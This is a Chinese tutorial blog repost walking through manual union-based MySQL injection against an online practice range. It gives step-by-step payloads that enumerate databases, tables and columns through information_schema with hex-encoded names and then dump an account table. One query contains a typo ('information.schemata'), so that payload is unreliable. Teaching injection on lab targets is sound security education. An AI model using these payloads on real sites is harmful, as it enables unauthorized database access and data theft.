WEB 安全学习 一、mysql 注入漏洞
转载: https://www.cnblogs.com/cui0x01/p/8620524.html
一、Mysql数据库结构
数据库A
表名
列名
数据
数据库B
表名
列名
数据
Mysql5.0以上自带数据库:information_schema
information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)
参数及解释
database():数据库名
user():数据库用户
version():数据库版本
@@version_compile_os:操作系统
符号“.”代表下一级的意思
information_schema.tables:
information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
information_schema.columns:
information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。
Table_schema:数据库名
Table_name:表名
Column_name:列名
下面使用手工 对 数字型sqli 注入漏洞进行注入
感谢 米斯特安全 提供的在线靶场
地址 :http://132.232.100.27:88/
输入1 返回正常
输入 1' 返回错误
输入 1+1 返回正常,存在数字型注入漏洞
(也可以使用 1 and 1=1 返回正常)
(1 and 1=2 来进行判断 如果 1=1 返回正常页面 1=2 返回错误页面存在注入漏洞)
SELECT * FROM news WHERE id = 1 and 1=2
SELECT * FROM news WHERE id = 1 and 1=2
查询表中的字段数 (也可以使用order by 我这里使用的是union select)
在input 中输入1 union select 1,2,3 返回正常页面
在input 中输入1 union select 1,2,3,4 返回错误页面
说明 该表中有3个字段
SELECT * FROM news WHERE id = 1 union select 1,2,3
查询相关内容:
可以在显位的位置插入的预设函数;
User() 查看用户
database() --查看数据库名称
Version() --查看数据库版本
@@datadir --数据库路径
@@version_compile_os--操作系统版本
system_user() --系统用户名
current_user()--当前用户名
session_user()--连接数据库的用户名
下面使用 database(),user(),version() 来替换其中的 1,2,3就可分别看见 数据库中的 数据库名 用户 版本
查询数据库 -1 union select 1,database(),3
可以查出数据库的名称就:pentest
group_concat语法:
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
查询所有的数据库
-1 union select 1,group_concat(schema_name),3 from information.schemata
注意 改变的时候 不要将 1 替换 ,好像没有查询 字段1,如果替换字段1 是没有反应的
可以查出 数据库中 有 information_schema,mysql,pentest,performance_schema 等库
查询出来数据库,那么下一步 我们就查询 pentest 数据库下的数据表
查询 = 数据库名的时候 需要将数据库的名称为16进制编码,提供一个编码转换的地址(https://www.bejson.com/convert/ox2str/)
pentest =====> 0x70656e74657374
在输入框中输入 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x70656e74657374
查询结果如下
pentest数据库中 有两个表分别为 account 和 news
下面查询 account表中的列
account转换为 16进制
account ------->>>> 0x6163636f756e74
下一步 查询 account表中的列名
在输入框中输入
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name =0x6163636f756e74
查询结果如下 : 有三个 字段 Id rest own
最后一步,查询表中的数据
-1 union select 1,rest,own from account
最终查询出来的结果为
WEB 安全学习 一、mysql 注入漏洞的更多相关文章
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
- Web安全学习笔记 SQL注入上
Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...
- Web安全学习笔记 SQL注入中
Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...
- ADO学习笔记之注入漏洞与参数化查询
ADO学习笔记之注入漏洞与参数化查询 作为新手,在学习ADO程序时,使用 sql 语言查询数据时,很容易写类似如下代码: using (SqlConnection con = new SqlConne ...
- Web安全学习笔记——SQL注入
一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...
- Python-编写一个mysql注入漏洞检测工具
判断mysql网站是否存在注入漏洞的几个方法: 注入点后加上一个单引号会报错 and 1=1返回正常页面,and 1=2返回的页面不同于正常页面 and sleep(3) 网页会等待3秒左右 根据返回 ...
- 2020/1/27代码审计学习之SQL注入漏洞
PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...
- web安全原理分析-SQL注入漏洞全解
简介 靶场:榆林学院信息安全协会--入侵榆大实验靶场 数字型注入 1 字符型注入 1 布尔注入 1.布尔注入简介 mysql bool注入是盲注的一种.与报错注入不同,bool注入没有任何报错信息输出 ...
- WEB安全学习二、注入工具 sqlmap的使用
使用的是Kali Linux 系统,系统中默认的sqlmap 是安装好了的,电脑上没有安装sqlmap,自己百度 ,需要python的环境 使用 命令 sqlmap -h 可以查看 sqlm ...
随机推荐
- MySql 存储过程 光标只循环一次
[1]MqSql 存储过程 光标只循环一次 针对MySql存储过程,光标只循环一次就退出的场景,可能原因分析: (1)存储过程有问题(仔细检查语法.控制变量.条件等等) (2)保证存储过程正确.调用过 ...
- 1 virtual
1 differents: 'virtual' just in C# In Java It does't have the keyword 2 Usages in C# used in base cl ...
- flask模板应用-javaScript和CSS中jinja2
当程序逐渐变大时,很多时候我们需要在javaScript和CSS代码中使用jinja2提供的变量值,甚至是控制语句.比如,通过传入模板的theme_color变量来为页面设置主题色彩,或是根据用户是否 ...
- tomcat2章1
package ex02.pyrmont; import java.io.File; public class Constants { public static final String WEB_R ...
- 74.Java异常处理机制
package testDate; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IO ...
- 自学Java第二周的总结
在这一周里我在网上学习了java的对象和类,了解了对象与类以及简单的用法.对象是类的一个实例(对象不是找个女朋友),有状态和行为.例如,一条狗是一个对象,它的状态有:颜色.名字.品种:行为有:摇尾巴. ...
- mac shell终端编辑命令行快捷键——行首,行尾
Ctrl + d 删除一个字符,相当于通常的Delete键(命令行若无所有字符,则相当于exit:处理多行标准输入时也表示eof) Ctrl + h 退格删除一个字符,相当 ...
- 前端框架VUE----补充
修饰符 .lazy 在默认情况下,v-model 在每次 input 事件触发后将输入框的值与数据进行同步 .你可以添加 lazy 修饰符,从而转变为使用 change 事件进行同步: <!-- ...
- PHP官方文档和phpstorm配置指南
http://cn2.php.net/manual/zh/ phpstorm安装——>next——>…… 下载PHP.exe 地址:http://www.php.net/ 配置interp ...
- ELK学习笔记之Grok patterns正则匹配
https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns/grok-patterns USERNA ...